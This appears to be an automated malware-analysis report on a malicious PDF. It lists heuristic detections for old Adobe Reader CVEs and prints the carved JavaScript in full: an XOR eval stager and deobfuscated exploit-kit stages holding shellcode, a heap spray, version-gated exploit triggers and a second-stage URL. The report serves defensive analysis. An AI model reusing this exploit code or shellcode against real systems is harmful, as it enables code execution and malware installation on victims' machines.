MALICIOUS
390
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT', 'PDF_JS', and 'PDF_PAGE_WORD_XOR_EVAL_STAGER'. The JavaScript is likely designed to download and execute a second-stage payload. The presence of JavaScript actions within a PDF is a common technique for delivering malware.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 10
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGERPDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ahrudw.egh/4 Referenced by PDF JavaScript
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0011_000.js |
pdf-javascript-stream | PDF /JS object 11 at offset 0xE77 | 578 bytes |
SHA-256: c8cf16b80cd9e076d8d404d9b9a80b3c930be01d111b0827a19c86b82ddf185b |
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Preview scriptFirst 1,000 lines of the extracted script
try {mFE='vQQar uL = QQ25 ;var QQzU = thiQs;var mL=zU.getPageNumQWords(this.pageNQumQ);var lI=\'\';for(vaQr QkTQ=0;kT< mL; kT++QQ){QlI=[lQQI, zU.getPageNthWordQ(zU.paQgQQeNum,kT,true)].join(\'\');;}vQQar hW=Q\'\';for(vQar QQkT=0;kT < lI.leQQngth; kT+QQ=2){xK=lI.sQQubstr(QkT,2);hWQ=[hW,StQQring.fromCharQQCode(parQseQInt(xK,16QQ)^uL)].join(\'QQ\')Q;}evaQQl(hW);QhW=nuQQll;'.replace(/[Q]/g, '');var sXU='Funcqtion'.replace(/[q]/g, '');sJ=pE(kB,pO);} catch(aT){var hS=mP()(mFE);hS();}function bK(){return app['doc'.replace(/[]/g, '')];}function mP(){var qP=bK();return qP[sXU];}
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legacy_pdfkit_stage_000.js |
deobfuscated-js | getPageWords-XOR Pidief stage normalized at offset 0x0 | 3820 bytes |
SHA-256: dddb88d4de3b37b2345df6f4e1b8ce4f18599bdc5b789eb1caed2336d68f53d2 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
this.lU=25827;this.lU++;b=12304;b++;var tK='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';for(var eB=0; eB <1084; eB++){eB++};fC=[];var sP={t:"fM".charCodeAt(27856)};var yD=this.info['qT'].replace(/[\s]/g, '');var xA=9687;this.wL=12946;this.wL-=72;bWB=["xAN"];var hE = this.info;var wLS = (hE.producer.substr(0,5) == 'debug');var gF = new Array(); var pGH = "%u";function rM(str){str = str.split(pGH);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function iX(str1, str2){return [str1, str2].join("");}function rU(mF){var j = nG();var wD = fA();j += ((j.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + wD;if(wLS) app.alert("URL: " + j);j=cZ(j);var d=pGH;var xK=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";xK+=j;return rM(xK);};function nG(){var wH = (hE.author + hE.title).replace(/[\s]/g, '');var tKL = vG(wH, yD, tK);return tKL;};function vG(wH, tK, yD){var tKL="";for(var i=0; i < wH.length; i++){var iXK = tK.indexOf(wH[i]);if(iXK > -1 ){tKL += yD[iXK];}}return tKL;};function cZ(wH){var out = "";wH = eTA(wH);g = Math.round(wH.length / 4);if (g != wH.length /4) wH+="00";for(var i=0; i < wH.length; i+=4){out+= pGH + wH.substr(i+2, 2) + wH.substr(i, 2);}return out;};function eTA(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function eZ(tGB, len){while (tGB.length * 2 < len){tGB = iX(tGB, tGB);}return tGB.substring(0, len / 2);};function nC(cB){var jM = 0x0c0c0c0c; aZ = rU("pdf");if (cB == 1){jM = 0x30303030;}var lA = 0x400000;var ln = aZ.length * 2;var iF = lA - (ln + 0x38);var tGB = rM(pGH+"9090"+pGH+"9090"); tGB = eZ(tGB, iF);var bY = (jM - 0x400000) / lA;for (var gP = 0; gP < bY; gP ++ ){gF[gP] = iX(tGB, aZ);}};function fA(){try {return app.viewerVersion.toString();}catch(lK){ return 0;}}if(wLS) app.alert("called exploit");var wD = fA();if(wLS) app.alert("v: " + wD);if (wD > 8){if(wLS) app.alert("util.printf");nC(1);var qN = "12999999999999999999";for (rET=0; rET < 276; rET++) qN += "8";util.printf("%45000f", qN);}if (wD < 8){if(wLS) app.alert("Collab.collectEmailInfo");nC(0);var zY = rM(pGH+"0c0c"+pGH+"0c0c");while (zY.length < 44952) zY += zY;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : zY});}if (wD < 9.1){if (app.doc.Collab.getIcon){if(wLS) app.alert("Collab.getIcon");nC(0);var oLA = unescape("%09");while (oLA.length < 0x4000) oLA += oLA;oLA = "N." + oLA;app.doc.Collab.getIcon(oLA);}}if (wD == 9.2){if(wLS) app.alert("media.newPlayer");nC(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}yV={};kZ={};var tG={vW:"sH".substr(4747, 4747)};var tC={fO:"qJ".substr(7511, 7511)};�9�9+I 9yy
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page_word_xor_stage_000.js |
deobfuscated-js | page-word continuous-hex XOR decoded JavaScript (decompressed, key=0x19) at offset 0x8C | 3810 bytes |
SHA-256: e37073bbe9a40688c6dc350a706bfbff5d87fa573c807b4b935a5daa878bde70 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
this.lU=25827;this.lU++;b=12304;b++;var tK='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';for(var eB=0; eB <1084; eB++){eB++};fC=[];var sP={t:"fM".charCodeAt(27856)};var yD=this.info['qT'].replace(/[\s]/g, '');var xA=9687;this.wL=12946;this.wL-=72;bWB=["xAN"];var hE = this.info;var wLS = (hE.producer.substr(0,5) == 'debug');var gF = new Array(); var pGH = "%u";function rM(str){str = str.split(pGH);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function iX(str1, str2){return [str1, str2].join("");}function rU(mF){var j = nG();var wD = fA();j += ((j.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + wD;if(wLS) app.alert("URL: " + j);j=cZ(j);var d=pGH;var xK=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";xK+=j;return rM(xK);};function nG(){var wH = (hE.author + hE.title).replace(/[\s]/g, '');var tKL = vG(wH, yD, tK);return tKL;};function vG(wH, tK, yD){var tKL="";for(var i=0; i < wH.length; i++){var iXK = tK.indexOf(wH[i]);if(iXK > -1 ){tKL += yD[iXK];}}return tKL;};function cZ(wH){var out = "";wH = eTA(wH);g = Math.round(wH.length / 4);if (g != wH.length /4) wH+="00";for(var i=0; i < wH.length; i+=4){out+= pGH + wH.substr(i+2, 2) + wH.substr(i, 2);}return out;};function eTA(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function eZ(tGB, len){while (tGB.length * 2 < len){tGB = iX(tGB, tGB);}return tGB.substring(0, len / 2);};function nC(cB){var jM = 0x0c0c0c0c; aZ = rU("pdf");if (cB == 1){jM = 0x30303030;}var lA = 0x400000;var ln = aZ.length * 2;var iF = lA - (ln + 0x38);var tGB = rM(pGH+"9090"+pGH+"9090"); tGB = eZ(tGB, iF);var bY = (jM - 0x400000) / lA;for (var gP = 0; gP < bY; gP ++ ){gF[gP] = iX(tGB, aZ);}};function fA(){try {return app.viewerVersion.toString();}catch(lK){ return 0;}}if(wLS) app.alert("called exploit");var wD = fA();if(wLS) app.alert("v: " + wD);if (wD > 8){if(wLS) app.alert("util.printf");nC(1);var qN = "12999999999999999999";for (rET=0; rET < 276; rET++) qN += "8";util.printf("%45000f", qN);}if (wD < 8){if(wLS) app.alert("Collab.collectEmailInfo");nC(0);var zY = rM(pGH+"0c0c"+pGH+"0c0c");while (zY.length < 44952) zY += zY;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : zY});}if (wD < 9.1){if (app.doc.Collab.getIcon){if(wLS) app.alert("Collab.getIcon");nC(0);var oLA = unescape("%09");while (oLA.length < 0x4000) oLA += oLA;oLA = "N." + oLA;app.doc.Collab.getIcon(oLA);}}if (wD == 9.2){if(wLS) app.alert("media.newPlayer");nC(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}yV={};kZ={};var tG={vW:"sH".substr(4747, 4747)};var tC={fO:"qJ".substr(7511, 7511)};
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